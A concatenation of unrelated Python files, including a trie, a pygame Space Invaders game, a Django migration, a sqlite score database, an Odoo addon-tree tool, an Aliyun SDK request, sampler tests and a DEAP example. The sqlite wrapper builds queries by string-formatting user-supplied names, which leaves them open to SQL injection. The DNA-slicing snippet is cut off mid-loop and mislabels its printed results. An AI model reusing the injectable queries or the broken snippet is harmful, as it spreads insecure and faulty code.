ind, letter in enumerate(string): if letter in current.children: current = current.children[letter] if ind == len(string) - 1: if current.data: contains = True return contains def size(self): """Return number of words in Trie.""" return self.num_words def remove(self, string): """Remvoe word from Trie.""" if not isinstance(string, str): raise TypeError('Input must be a string.') contains = False current = self.root for ind, letter in enumerate(string): if letter in current.children: current = current.children[letter] if ind == len(string) - 1: if current.data: contains = True current.data = None self.num_words -= 1 if contains is False: raise AttributeError('String is not in Trie.') def traverse(self, start=''): """Traverse trie and return a generator for all words in trie.""" if not isinstance(start, str): raise TypeError('Input must be a string.') tokens = [] current = self.root for letter in start: if letter in current.children: current = current.children[letter] else: yield tokens def _recursive(current): """Recursive helper for trie.""" for child in current.children: if current.children[child].data: tokens.append(current.children[child].data) _recursive(current.children[child]) _recursive(current) for token in tokens: yield token # crear una ventana y finalizar cuando la cerremos import pygame,sys from pygame.locals import * from Clases import Nave from Clases import Invasor as Enemigo #variables globales ancho=900 alto=480 listaEnemigo = [] def detenerTodo(): for enemigo in listaEnemigo: for disparo in enemigo.listaDisparo: enemigo.listaDisparo.remove(disparo) enemigo.conquista=True def cargarEnemigos(): posx=100 for x in range(1,5): enemigo = Enemigo(posx,100,40,"imagenes/marcianoA.jpg","imagenes/MarcianoB.jpg") listaEnemigo.append(enemigo) posx=posx+200 posx=100 for x in range(1,5): enemigo = Enemigo(posx,0,40,"imagenes/Marciano2A.jpg","imagenes/Marciano2B.jpg") listaEnemigo.append(enemigo) posx=posx+200 posx=100 for x in range(1,5): enemigo = Enemigo(posx,-100,40,"imagenes/Marciano3A.jpg","imagenes/Marciano3B.jpg") listaEnemigo.append(enemigo) posx=posx+200 def SpaceInvader(): pygame.init() ventana = pygame.display.set_mode((ancho,alto)) pygame.display.set_caption("Space Invader") ImagenFondo=pygame.image.load("imagenes/Fondo.jpg") pygame.mixer.music.load("Sonidos/Intro.mp3") pygame.mixer.music.play(3) miFuenteSistema = pygame.font.SysFont("Arial",38) Texto = miFuenteSistema.render("Fin del juego",0,(120,100,40)) cargarEnemigos() jugador = Nave.naveEspacial(ancho,alto) enjuego=True reloj = pygame.time.Clock() while True: reloj.tick(60) #jugador.movimiento() tiempo=pygame.time.get_ticks()/1000 for evento in pygame.event.get(): if evento.type==QUIT: pygame.quit() sys.exit() if enjuego==True: if evento.type==pygame.KEYDOWN: if evento.key == K_LEFT: jugador.movimientoIzquierda() elif evento.key == K_RIGHT: jugador.movimientoDerecha() elif evento.key==K_s: x,y = jugador.rect.center jugador.disparar(x,y) ventana.blit(ImagenFondo,(0,0)) jugador.dibujar(ventana) if len(jugador.listaDisparo)>0: for x in jugador.listaDisparo: x.dibujar(ventana) x.trayectoria() if x.rect.top < -10: jugador.listaDisparo.remove(x) else: for enemigo in listaEnemigo: if x.rect.colliderect(enemigo.rect): listaEnemigo.remove(enemigo) jugador.listaDisparo.remove(x) if len(listaEnemigo)>0: for enemigo in listaEnemigo: enemigo.comportamento(tiempo) enemigo.dibujar(ventana) if enemigo.rect.colliderect(jugador.rect): jugador.destruccion() enjuego=False detenerTodo() if (len(enemigo.listaDisparo)>0): for x in enemigo.listaDisparo: x.dibujar(ventana) x.trayectoria() if x.rect.colliderect(jugador.rect): jugador.destruccion() enjuego=False detenerTodo() if x.rect.top > 900: enemigo.listaDisparo.remove(x) else: for disparo in jugador.listaDisparo: if x.rect.colliderect(disparo.rect): jugador.listaDisparo.remove(disparo) enemigo.listaDisparo.remove(x) if enjuego==False: pygame.mixer.music.fadeout(3000) ventana.blit(Texto,(300,300)) pygame.display.update() SpaceInvader() 1-10 from .string import String class Password(String): _format = 'password' def __init__(self, name, example=None, value=None): super().__init__(name, example=example, value=value) SpillChek2/tfrs # -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-10-12 22:29 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('server', '0012_auto_20170928_1737'), ] """ Since we're just renaming the tables to lowercase, Django isn't smart enough to figure out that they're different. So we rename them with a _ suffix before the actual rename """ operations = [ migrations.AlterModelTable( name='audit', table='audit_', ), migrations.AlterModelTable( name='audit', table='audit', ), migrations.AlterModelTable( name='credittrade', table='credit_trade_', ), migrations.AlterModelTable( name='credittrade', table='credit_trade', ), migrations.AlterModelTable( name='credittradehistory', table='credit_trade_history_', ), migrations.AlterModelTable( name='credittradehistory', table='credit_trade_history', ), migrations.AlterModelTable( name='credittradestatus', table='credit_trade_status_', ), migrations.AlterModelTable( name='credittradestatus', table='credit_trade_status', ), migrations.AlterModelTable( name='credittradetype', table='credit_trade_type_', ), migrations.AlterModelTable( name='credittradetype', table='credit_trade_type', ), migrations.AlterModelTable( name='fuelsupplier', table='fuel_supplier_', ), migrations.AlterModelTable( name='fuelsupplier', table='fuel_supplier', ), migrations.AlterModelTable( name='fuelsupplieractionstype', table='fuel_supplier_actions_type_', ), migrations.AlterModelTable( name='fuelsupplieractionstype', table='fuel_supplier_actions_type', ), migrations.AlterModelTable( name='fuelsupplierattachment', table='fuel_supplier_attachment_', ), migrations.AlterModelTable( name='fuelsupplierattachment', table='fuel_supplier_attachment', ), migrations.AlterModelTable( name='fuelsupplierattachmenttag', table='fuel_supplier_attachment_tag_', ), migrations.AlterModelTable( name='fuelsupplierattachmenttag', table='fuel_supplier_attachment_tag', ), migrations.AlterModelTable( name='fuelsupplierbalance', table='fuel_supplier_balance_', ), migrations.AlterModelTable( name='fuelsupplierbalance', table='fuel_supplier_balance', ), migrations.AlterModelTable( name='fuelsupplierccdata', table='fuel_supplier_c_c_data_', ), migrations.AlterModelTable( name='fuelsupplierccdata', table='fuel_supplier_c_c_data', ), migrations.AlterModelTable( name='fuelsuppliercontact', table='fuel_supplier_contact_', ), migrations.AlterModelTable( name='fuelsuppliercontact', table='fuel_supplier_contact', ), migrations.AlterModelTable( name='fuelsuppliercontactrole', table='fuel_supplier_contact_role_', ), migrations.AlterModelTable( name='fuelsuppliercontactrole', table='fuel_supplier_contact_role', ), migrations.AlterModelTable( name='fuelsupplierhistory', table='fuel_supplier_history_', ), migrations.AlterModelTable( name='fuelsupplierhistory', table='fuel_supplier_history', ), migrations.AlterModelTable( name='fuelsupplierstatus', table='fuel_supplier_status_', ), migrations.AlterModelTable( name='fuelsupplierstatus', table='fuel_supplier_status', ), migrations.AlterModelTable( name='notification', table='notification_', ), migrations.AlterModelTable( name='notification', table='notification', ), migrations.AlterModelTable( name='notificationevent', table='notification_event_', ), migrations.AlterModelTable( name='notificationevent', table='notification_event', ), migrations.AlterModelTable( name='notificationtype', table='notification_type_', ), migrations.AlterModelTable( name='notificationtype', table='notification_type', ), migrations.AlterModelTable( name='permission', table='permission_', ), migrations.AlterModelTable( name='permission', table='permission', ), ] import json import numpy as np import itertools import sys path_name = sys.argv[1] + "/" + sys.argv[2] pred_labels = np.load("./tmp/" + path_name + "/pred_labels_valid.npy") num_classes = int(sys.argv[3]) num_layers = int(sys.argv[4]) total_layers = [x for x in range(num_layers)] print("path_name: {}, num_classes: {}, num_layers: {}".format(path_name, num_classes, num_layers)) def calculate_accuracy(layers, pred_label_idx): kde_preds = np.zeros([pred_label_idx.shape[0], num_classes]) count_idx = 0 for idx in pred_label_idx: for layer_idx in layers: kde_preds[count_idx][int(pred_labels[idx][layer_idx])] += 1 count_idx += 1 kde_pred = np.argmax(kde_preds, axis=1) kde_accuracy = np.mean(kde_pred == pred_labels[pred_label_idx].T[-1]) return kde_accuracy def selected_layer_condition(idx_in_origin): max_acc = 0 selected_layers = None for count in range(1, num_layers+1): for layers in itertools.combinations(total_layers, count): acc = calculate_accuracy(layers, idx_in_origin) if acc >= max_acc: max_acc = acc selected_layers = layers kde_acc = calculate_accuracy(selected_layers, idx_in_origin) model_acc = np.mean(pred_labels[idx_in_origin].T[-2] == pred_labels[idx_in_origin].T[-1]) print("selected layers: {}, acc: {}".format(selected_layers, kde_acc)) print("model acc: {}\n".format(model_acc)) return selected_layers, kde_acc def selected_layer_for_label(label, selected_layers_dict, weights_dict): # split dataset into subset according to their predictions pred_label_idx = np.where(pred_labels.T[-2] == label)[0] # count the number of layers that agree with the final prediction num_selected_layers = len(layers_agree[str(label)]) pred_count = np.zeros([pred_labels[pred_label_idx].shape[0], num_selected_layers]) misbh_count = np.zeros([pred_labels[pred_label_idx].shape[0], num_selected_layers]) for idx in range(pred_labels[pred_label_idx].shape[0]): count_idx = 0 for layer_idx in layers_agree[str(label)]: if pred_labels[pred_label_idx[idx]][layer_idx] == pred_labels[pred_label_idx[idx]][-2]: pred_count[idx][count_idx] = 1 if pred_labels[pred_label_idx[idx]][layer_idx] != pred_labels[pred_label_idx[idx]][-2]: misbh_count[idx][count_idx] = 1 count_idx += 1 # calculate confidence sum_pred_example = np.sum(pred_count, axis=1) sum_misbh_example = np.sum(misbh_count, axis=1) pos_indexes = np.where(sum_misbh_example >= sum_pred_example)[0] KdePredPositive = sum_misbh_example >= sum_pred_example TrueMisBehaviour = pred_labels[pred_label_idx].T[-2] != pred_labels[pred_label_idx].T[-1] FP = np.sum(~TrueMisBehaviour & KdePredPositive) # searches for the best layer combination where the model predicts the input with label 'label_con' as 'label' for label_con in range(num_classes): pos_indexes_label = np.where(pred_labels[pred_label_idx[pos_indexes]].T[-1] == label_con)[0] print("label: {}, total_len: {}, label_con: {}, len: {}".format(label, pos_indexes.shape[0], label_con, pos_indexes_label.shape[0])) if pos_indexes_label.shape[0] == 0: print("check!") continue selected_layers_dict[str(label) + str(label_con)], kde_acc = selected_layer_condition(pred_label_idx[pos_indexes[pos_indexes_label]]) if label_con == label: weights_dict[str(label) + str(label_con)] = pos_indexes_label.shape[0] * kde_acc / pos_indexes.shape[0] else: weights_dict[str(label) + str(label_con)] = pos_indexes_label.shape[0] * kde_acc / (pos_indexes.shape[0] - FP) selected_layers_dict = {} weights_dict = {} # # single-thread version # for label in range(num_classes): # # load selected layers for alarm # filename = "./tmp/" + path_name + "/selected_layers_agree_" + str(label) + ".json" # with open(filename, "r") as json_file: # layers_agree = json.load(json_file) # json_file.close() # # print("label: {}".format(label)) # # generate selected layers per class # selected_layer_for_label(label, selected_layers_dict, weights_dict) # print("\n") # # # save the index of selected layers per class # filename = "./tmp/" + path_name + "/selected_layers_accuracy_" + str(label) + ".json" # with open(filename, 'w') as json_file: # json.dump(selected_layers_dict, json_file, ensure_ascii=False) # json_file.close() # filename = "./tmp/" + path_name + "/weights_" + str(label) + ".json" # with open(filename, 'w') as json_file: # json.dump(weights_dict, json_file, ensure_ascii=False) # json_file.close() # multi-thread version label = int(sys.argv[5]) print("label: {}".format(label)) # load selected layers for alarm filename = "./tmp/" + path_name + "/selected_layers_agree_" + str(label) + ".json" with open(filename, "r") as json_file: layers_agree = json.load(json_file) json_file.close() # generate selected layers per class selected_layer_for_label(label, selected_layers_dict, weights_dict) # save the index of selected layers per class filename = "./tmp/" + path_name + "/selected_layers_accuracy_" + str(label) + ".json" with open(filename, 'w') as json_file: json.dump(selected_layers_dict, json_file, ensure_ascii=False) json_file.close() filename = "./tmp/" + path_name + "/weights_" + str(label) + ".json" with open(filename, 'w') as json_file: json.dump(weights_dict, json_file, ensure_ascii=False) json_file.close()import sqlite3 from functools import wraps from .constants import Color from .models import * __all__ = [ 'Database', ] def check_connected(f): @wraps(f) def wrapped(self, *args, **kwargs): if self.connection is None: return [] # raise RuntimeError('Database is not connected') return f(self, *args, **kwargs) return wrapped class Database: def __init__(self, path: str): self.path = path self.connection = None self.match_count = 0 def connect(self): self.connection = sqlite3.connect(self.path) cursor = self.connection.cursor() cursor.execute(SQL.Account.CreateTable) cursor.execute(SQL.Player.CreateTable) cursor.execute(SQL.Match.CreateTable) cursor.execute(SQL.IndividualMatch.CreateTable) self.connection.commit() cursor.execute(SQL.Match.SelectAll) count = cursor.fetchall() self.match_count = count[0] if count else 0 def disconnect(self): self.connection.close() self.connection = None @check_connected def get_accounts(self) -> [str]: cursor = self.connection.cursor() cursor.execute(SQL.Account.SelectAll) return [row[0] for row in cursor.fetchall()] @check_connected def get_players(self) -> [Player]: cursor = self.connection.cursor() cursor.execute(SQL.Player.SelectAll) return [Player.from_data(row[0], row[1], Color.from_int(row[2])) for row in cursor.fetchall()] @check_connected def add_account(self, account: str) -> bool: cursor = self.connection.cursor() cursor.execute(SQL.Account.Insert(account)) self.connection.commit() return account != "" @check_connected def remove_account(self, account: str) -> bool: cursor = self.connection.cursor() cursor.execute(SQL.Account.Delete(account)) self.connection.commit() return account != "" @check_connected def add_player(self, player: Player) -> bool: cursor = self.connection.cursor() cursor.execute(SQL.Player.Insert(player)) self.connection.commit() return player.name != "" @check_connected def remove_player(self, player: Player) -> bool: cursor = self.connection.cursor() cursor.execute(SQL.Player.Delete(player)) self.connection.commit() return player.name != "" @check_connected def add_scores(self, scores: [(LivePlayer, Score)]) -> bool: teams = False mode = 'couch' game_mode = 'stock' match_id = self.match_count cursor = self.connection.cursor() cursor.execute(SQL.Match.Insert(match_id, mode, game_mode, teams, scores)) for player, score in scores: cursor.execute(SQL.IndividualMatch.Insert(match_id, player.player.name, player.legend, 0, score)) self.connection.commit() self.match_count += 1 return len(scores) > 0 # region SQL # Account -> (__name__) # Player -> (__name__, initials, color) # Match -> (__id__, mode='couch', gameMode='stock', teams=0|1, playerCount, # 1st_name, 2nd_name*, 3rd_name*, 4th_name*) # IndividualMatch -> (__Match_id, player_name__, legend, team, score, kos, falls, accidents, dmg_done, dmg_taken) class Tables: Account: str = 'account' Player: str = 'player' Match: str = 'match' IndividualMatch: str = 'individual_match' class SQL: class Account: CreateTable: str = \ """ CREATE TABLE IF NOT EXISTS %s ( Name varchar(64) NOT NULL, PRIMARY KEY ( Name ) ); """ % (Tables.Account,) SelectAll: str = 'SELECT * from %s' % Tables.Account @staticmethod def Insert(account: str) -> str: return """INSERT INTO %s VALUES('%s')""" % ( Tables.Account, account) @staticmethod def Delete(account: str): return """DELETE FROM %s where Name = '%s'""" % ( Tables.Account, account) class Player: CreateTable: str = \ """ CREATE TABLE IF NOT EXISTS %s ( Name varchar(64) NOT NULL, Initials char(2) NOT NULL, Color int NOT NULL, PRIMARY KEY ( Name ) ); """ % (Tables.Player,) SelectAll: str = 'SELECT * FROM %s' % Tables.Player SelectCount: str = 'SELECT COUNT(*) FROM %s' % Tables.Player @staticmethod def Insert(player: Player) -> str: return """INSERT INTO %s VALUES('%s', '%s', %d)""" % ( Tables.Player, player.name, player.initials, player.color.to_int()) @staticmethod def Delete(player: Player): return """DELETE FROM %s where Name = '%s'""" % ( Tables.Player, player.name) class Match: CreateTable: str = \ """CREATE TABLE IF NOT EXISTS %s ( ID int NOT NULL, Mode varchar(16) NOT NULL, GameMode varchar(16) NOT NULL, Teams boolean NOT NULL, PlayerCount int NOT NULL, FirstName varchar(64) NOT NULL, SecondName varchar(64) NULL, ThirdName varchar(64) NULL, FourthName varchar(64) NULL, PRIMARY KEY (ID), FOREIGN KEY (FirstName) REFERENCES %s(FirstName), FOREIGN KEY (SecondName) REFERENCES %s(SecondName), FOREIGN KEY (ThirdName) REFERENCES %s(ThirdName), FOREIGN KEY (FourthName) REFERENCES %s(FourthName) );""" % (Tables.Match, Tables.Player, Tables.Player, Tables.Player, Tables.Player) SelectAll: str = 'SELECT * FROM %s' % Tables.Match SelectCount: str = 'SELECT COUNT(*) FROM %s' % Tables.Match @staticmethod def Insert(match_id: int, mode: str, game_mode: str, teams: bool, scores: [(LivePlayer, Score)]) -> str: names = list(map(lambda x: "'" + x[0].player.name + "'", scores)) + ['NULL'] * (4 - len(scores)) return """INSERT INTO %s VALUES(%d,'%s','%s',%d,%d,%s,%s,%s,%s)""" % ( Tables.Match, match_id, mode, game_mode, teams, len(scores), names[0], names[1], names[2], names[3]) class IndividualMatch: CreateTable: str = \ """CREATE TABLE IF NOT EXISTS %s ( MatchID int NOT NULL, PlayerName varchar(64) NOT NULL, Legend varchar(32) NOT NULL, Team int NOT NULL, Rank int NOT NULL, Score int NOT NULL, KOS int NOT NULL, Falls int NOT NULL, Accidents int NOT NULL, DMG_Done int NOT NULL, DMG_Taken int NOT NULL, PRIMARY KEY (MatchID, PlayerName), FOREIGN KEY (MatchID) REFERENCES %s(MatchID), FOREIGN KEY (PlayerName) REFERENCES %s(PlayerName) )""" % (Tables.IndividualMatch, Tables.Match, Tables.Player) SelectAll: str = 'SELECT * FROM %s' % Tables.IndividualMatch SelectCount: str = 'SELECT COUNT(*) FROM %s' % Tables.IndividualMatch @staticmethod def Insert(match_id: int, name: str, legend: str, team: int, score: Score) -> str: return """INSERT INTO %s VALUES(%d,'%s','%s',%d,%d,%d,%d,%d,%d,%d,%d)""" % ( Tables.IndividualMatch, match_id, name, legend, team, score.rank, score.score, score.kos, score.falls, score.accidents, score.dmg_done, score.dmg_taken) # endregion from typing import Dict, List, Optional, Set import typer from ..addon import Addon from ..addons_selection import AddonsSelection from ..addons_set import AddonsSet from ..core_addons import is_core_addon, is_core_ce_addon, is_core_ee_addon from ..odoo_series import OdooEdition, OdooSeries NodeKey = str class Node: def __init__(self, addon_name: str, addon: Optional[Addon]): self.addon_name = addon_name self.addon = addon self.children = [] # type: List[Node] @staticmethod def key(addon_name: str) -> NodeKey: return addon_name def print(self, odoo_series: OdooSeries, fold_core_addons: bool) -> None: seen = set() # type: Set[Node] def _print(indent: List[str], node: Node) -> None: # inspired by https://stackoverflow.com/a/59109706 SPACE = " " BRANCH = "│ " TEE = "├── " LAST = "└── " typer.echo(f"{''.join(indent)}{node.addon_name}", nl=False) if node in seen: typer.secho(" ⬆", dim=True) return typer.secho(f" ({node.sversion(odoo_series)})", dim=True) seen.add(node) if not node.children: return if fold_core_addons and is_core_addon(node.addon_name, odoo_series): return pointers = [TEE] * (len(node.children) - 1) + [LAST] for pointer, child in zip( pointers, sorted(node.children, key=lambda n: n.addon_name) ): if indent: if indent[-1] == TEE: _print(indent[:-1] + [BRANCH, pointer], child) else: assert indent[-1] == LAST _print(indent[:-1] + [SPACE, pointer], child) else: _print([pointer], child) _print([], self) def sversion(self, odoo_series: OdooSeries) -> Optional[str]: if not self.addon: return typer.style("✘ not installed", fg=typer.colors.RED) elif is_core_ce_addon(self.addon_name, odoo_series): return f"{odoo_series}+{OdooEdition.CE}" elif is_core_ee_addon(self.addon_name, odoo_series): return f"{odoo_series}+{OdooEdition.EE}" else: return self.addon.manifest.version or "no version" def tree_command( addons_selection: AddonsSelection, addons_set: AddonsSet, odoo_series: OdooSeries, fold_core_addons: bool, ) -> None: nodes: Dict[NodeKey, Node] = {} def add(addon_name: str) -> Node: key = Node.key(addon_name) if key in nodes: return nodes[key] addon = addons_set.get(addon_name) node = Node(addon_name, addon) nodes[key] = node if not addon: # not found return node for depend in addon.manifest.depends: if depend == "base": continue node.children.append(add(depend)) return node root_nodes: List[Node] = [] for addon_name in sorted(addons_selection): if addon_name == "base": continue root_nodes.append(add(addon_name)) for root_node in root_nodes: root_node.print(odoo_series, fold_core_addons) parul6571/RMC-assignment # We have a DNA Sequence ATGCTGATAGATAGTAAAATATAAGCA # There are few features present in this sequence # 1> Exon: location 3..9 #Answer dna_seq="ATGCTGATAGATAGTAAAATATAAGCA" # to find location of the sequence we need to apply slicing. exon_seq=dna_seq[2:9] print("The Exon location is 3...9 and the sequence of exon is",exon_seq) # 2> Intron: location 10..12 #Answer ATG CTG ATA GAT AGT AAA ATA TAA GCA # indexing 012 345 678 91011 121314 151617 181920 212223 242526 # nos. 123 456 789 101112 131415 161718 192021 222324 252627 dna_seq="ATGCTGATAGATAGTAAAATATAAGCA" # to find intron location of the sequence we need to apply slicing. intron_seq=dna_seq[9:12] print("The Exon location is 3...9 and the sequence of exon is",intron_seq) # 3> Gene: In right half part #Answer dna_seq="ATGCTGATAGATAGTAAAATATAAGCA" length=int(len(dna_seq)/2) print("The right half of the gene is",dna_seq[:length]) # 4> CDS: In Left half part dna_seq="ATGCTGATAGATAGTAAAATATAAGCA" length=int(len(dna_seq)/2) print("The left half of the gene having CDS is",dna_seq[length:]) # 5> Mutation: 7th position #Answer dna_seq="ATGCTGATAGATAGTAAAATATAAGCA" mutation=dna_seq[:6]+"NN"+dna_seq[7:] print("The mutation on the 7th position is 'NN' of the dna sequence",mutation) # 6> find index of every occurance of AT seq="ATGCTGATAGATAGTAAAATATAAGCA" index=0 list_result=[] last_found_domain_index=-1 while indexliumihust/aliyun-openapi-python-sdk # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # # http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from aliyunsdkcore.request import RpcRequest class DescribeSnapshotsRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'hbr', '2017-09-08', 'DescribeSnapshots','hbr') self.set_protocol_type('https') def get_ClientId(self): return self.get_query_params().get('ClientId') def set_ClientId(self,ClientId): self.add_query_param('ClientId',ClientId) def get_SnapshotId(self): return self.get_query_params().get('SnapshotId') def set_SnapshotId(self,SnapshotId): self.add_query_param('SnapshotId',SnapshotId) def get_StatusList(self): return self.get_query_params().get('StatusList') def set_StatusList(self,StatusList): self.add_query_param('StatusList',StatusList) def get_VaultId(self): return self.get_query_params().get('VaultId') def set_VaultId(self,VaultId): self.add_query_param('VaultId',VaultId) def get_UserAccountId(self): return self.get_query_params().get('UserAccountId') def set_UserAccountId(self,UserAccountId): self.add_query_param('UserAccountId',UserAccountId) def get_Source(self): return self.get_query_params().get('Source') def set_Source(self,Source): self.add_query_param('Source',Source) def get_ParentHash(self): return self.get_query_params().get('ParentHash') def set_ParentHash(self,ParentHash): self.add_query_param('ParentHash',ParentHash) def get_ContainerSnapshotId(self): return self.get_query_params().get('ContainerSnapshotId') def set_ContainerSnapshotId(self,ContainerSnapshotId): self.add_query_param('ContainerSnapshotId',ContainerSnapshotId) def get_ServerId(self): return self.get_query_params().get('ServerId') def set_ServerId(self,ServerId): self.add_query_param('ServerId',ServerId) def get_PageNumber(self): return self.get_query_params().get('PageNumber') def set_PageNumber(self,PageNumber): self.add_query_param('PageNumber',PageNumber) def get_Token(self): return self.get_query_params().get('Token') def set_Token(self,Token): self.add_query_param('Token',Token) def get_JobId(self): return self.get_query_params().get('JobId') def set_JobId(self,JobId): self.add_query_param('JobId',JobId) def get_CompleteTimeBefore(self): return self.get_query_params().get('CompleteTimeBefore') def set_CompleteTimeBefore(self,CompleteTimeBefore): self.add_query_param('CompleteTimeBefore',CompleteTimeBefore) def get_SnapshotType(self): return self.get_query_params().get('SnapshotType') def set_SnapshotType(self,SnapshotType): self.add_query_param('SnapshotType',SnapshotType) def get_CompleteTimeAfter(self): return self.get_query_params().get('CompleteTimeAfter') def set_CompleteTimeAfter(self,CompleteTimeAfter): self.add_query_param('CompleteTimeAfter',CompleteTimeAfter) def get_PageSize(self): return self.get_query_params().get('PageSize') def set_PageSize(self,PageSize): self.add_query_param('PageSize',PageSize) def get_PlanId(self): return self.get_query_params().get('PlanId') def set_PlanId(self,PlanId): self.add_query_param('PlanId',PlanId) def get_Status(self): return self.get_query_params().get('Status') def set_Status(self,Status): self.add_query_param('Status',Status)import unittest from EXOSIMS.util.RejectionSampler import RejectionSampler as RS from EXOSIMS.util.InverseTransformSampler import InverseTransformSampler as ITS import numpy as np import scipy.stats import os class TestSamplers(unittest.TestCase): """Test rejection sampler and inverse transform sampler since both have same set up """ def setUp(self): self.dev_null = open(os.devnull, 'w') self.mods = [RS,ITS] def tearDown(self): pass def test_simpSample(self): """Test samplers using KS-statistic for two continuous distributions and ensure that generated values correctly correlate with each one """ #uniform dist ulim = [0,1] ufun = lambda x: 1.0/np.diff(ulim) n = int(1e5) #normal/Gaussian dist nlim = [-10,10] nfun = lambda x: np.exp(-x**2./2.0)/np.sqrt(2.0*np.pi) for mod in self.mods: print('Testing uniform and normal distributions for sampler: %s'%mod.__name__) #test uniform distribution usampler = mod(ufun,ulim[0],ulim[1]) usample = usampler(n) self.assertGreaterEqual(usample.min(), ulim[0],'Uniform sampler does not obey lower limit for %s.'%mod.__name__) self.assertLessEqual(usample.max(), ulim[1],'Uniform sampler does not obey upper limit for %s.'%mod.__name__) #test normal/Gaussian distribution nsampler = mod(nfun,nlim[0],nlim[1]) nsample = nsampler(n) self.assertGreaterEqual(nsample.min(), nlim[0],'Normal sampler does not obey lower limit for %s.'%mod.__name__) self.assertLessEqual(nsample.min(), nlim[1],'Normal sampler does not obey upper limit for %s.'%mod.__name__) # test that uniform sample is not normal and normal is not uniform # this test is probabilistic and may fail nu = scipy.stats.kstest(nsample,'uniform')[1] if nu > 0.01: # test fails, so try resampling to get it to pass nsample = nsampler(n) nu = scipy.stats.kstest(nsample,'uniform')[1] self.assertLessEqual(nu,0.01,'Normal sample looks too uniform for %s.'%mod.__name__) # this test is also probabilistic and may fail un = scipy.stats.kstest(usample,'norm')[1] if un > 0.01: # test fails, so try resampling to get it to pass usample = usampler(n) un = scipy.stats.kstest(usample,'norm')[1] self.assertLessEqual(un,0.01,'Uniform sample looks too normal for %s.'%mod.__name__) # this test is probabilistic and may fail pu = scipy.stats.kstest(usample,'uniform')[1] if pu < 0.01: # test fails, so try resampling to get it to pass usample = usampler(n) pu = scipy.stats.kstest(usample,'uniform')[1] self.assertGreaterEqual(pu,0.01,'Uniform sample does not look uniform for %s.'%mod.__name__) # this test is also probabilistic and may fail pn = scipy.stats.kstest(nsample,'norm')[1] if pn < 0.01: # test fails, try resampling to get it to pass nsample = nsampler(n) pn = scipy.stats.kstest(nsample,'norm')[1] self.assertGreaterEqual(pn,0.01,'Normal sample does not look normal for %s.'%mod.__name__) def test_simpSample_trivial(self): """ Test simple rejection sampler with trivial inputs Test method: set up sampling with equal upper and lower bounds """ ulim = [0,1] ufun = lambda x: 1.0/np.diff(ulim) ufun2 = lambda x: np.ndarray.tolist(ufun) #to trigger conversion to ndarray n = 10000 for mod in self.mods: print('Testing trivial input for sampler: %s'%mod.__name__) sampler = mod(ufun,0.5,0.5) sample = sampler(n) sampler2 = mod(ufun2,0.5,0.5) sample2 = sampler2(n) self.assertEqual(len(sample),n,'Sampler %s does not return all same value'%mod.__name__) self.assertTrue(np.all(sample == 0.5),'Sampler %s does not return all values at 0.5'%mod.__name__) self.assertEqual(len(sample2),n,'Sampler %s does not return all same value'%mod.__name__) self.assertTrue(np.all(sample2 == 0.5),'Sampler %s does not return all values at 0.5'%mod.__name__) if __name__ == '__main__': unittest.main()api/activities/filters.py from django_filters import rest_framework as filters from activities.models import Activity class ActivityFilter(filters.FilterSet): schedule = filters.DateTimeFromToRangeFilter() status = filters.CharFilter( lookup_expr="exact", ) class Meta: model = Activity fields = ['schedule','status',] pypaper/general_tools.py1-10 import os import pypaper def build_folder(ffp, name): """ Makes a new directory :param ffp: :param name: :return: """ try: os.makedirs(ffp, exist_ok=False) except OSError: print("%s folder already exists" % name) def build_base_folders(root_folder_full_path, initials): """ Creates the project folders :param root_folder_full_path: :param initials: :return: """ # Create the project temporary output folder build_folder(root_folder_full_path + "temp/", "Temporary") # Create the project module data output folder data_path = "%sdata/" % root_folder_full_path build_folder(data_path, "Project data") # Copy template files into location fname = 'settings.py' template_to_folder(fname, root_folder_full_path) fname = 'all_paths.py' ap_replacements = {"###INITIALS###": initials} template_to_folder(fname, root_folder_full_path, ap_replacements) fname = 'user_paths.py' template_to_folder(fname, root_folder_full_path) return root_folder_full_path def get_template_ffp(template_name): """ Gets the full path to the template :param template_name: :return: """ templates_dir = os.path.join(os.path.dirname(pypaper.__file__), 'templates') template_file = os.path.join(templates_dir, template_name) return template_file def template_to_folder(template_name, folder_path, replacements={}): """ Copies a template into a folder :param template_name: :param folder_path: :return: """ template_ffp = get_template_ffp(template_name) a = open(template_ffp) f_str = a.read() a.close() for key in replacements: f_str = f_str.replace(key, replacements[key]) out_ffp = folder_path + template_name ofile = open(out_ffp, "w") ofile.write(f_str) ofile.close() def add_to_gitignore(root_folder_full_path, initials): """ Add a list of files that should not be tracked by git :param base_path: :param initials: :return: """ # Find gitignore file to_ignore = ["# Added by pypaper", ".idea/", "user_paths.py", "*.pyc", "temp_output/", "%s_scripts/__pycache__/" % initials, "%s_scripts/matplotlibrc" % initials, "*TSWLatexianTemp_*", "%s-paper/%s-paper.pdf" % (initials, initials), "temp/*", "venv/" ] a = open(root_folder_full_path + ".gitignore", "a") a.write("\n" + "\n".join(to_ignore)) a.close() def add_to_requirements_txt(root_folder_full_path): """ Adds python packages used in project :param project_root_folder: :return: """ to_ignore = ["matplotlib", "bwplot", "engformat>=0.1.3" ] a = open(root_folder_full_path + "requirements.txt", "a") a.write("\n" + "\n".join(to_ignore)) a.close() from app.utility.base_obfuscator import BaseObfuscator class Obfuscation(BaseObfuscator): def run(self, link, **kwargs): return self.decode_bytes(link.command) # adapted from https://github.com/DEAP/deap/blob/master/examples/ga/onemax_short.py import random import numpy from deap import algorithms from deap import base from deap import creator from deap import tools creator.create("FitnessMax", base.Fitness, weights=(1.0,)) creator.create("Individual", list, fitness=creator.FitnessMax) toolbox = base.Toolbox() toolbox.register("attr_bool", random.randint, 0, 1) toolbox.register("individual", tools.initRepeat, creator.Individual, toolbox.attr_bool, 25) toolbox.register("population", tools.initRepeat, list, toolbox.individual) def evalOneMax(individual): return sum(individual), toolbox.register("evaluate", evalOneMax) toolbox.register("mate", tools.cxTwoPoint) toolbox.register("mutate", tools.mutFlipBit, indpb=0.05) toolbox.register("select", tools.selTournament, tournsize=2) def main(): random.seed(64) pop = toolbox.population(n=50) hof = 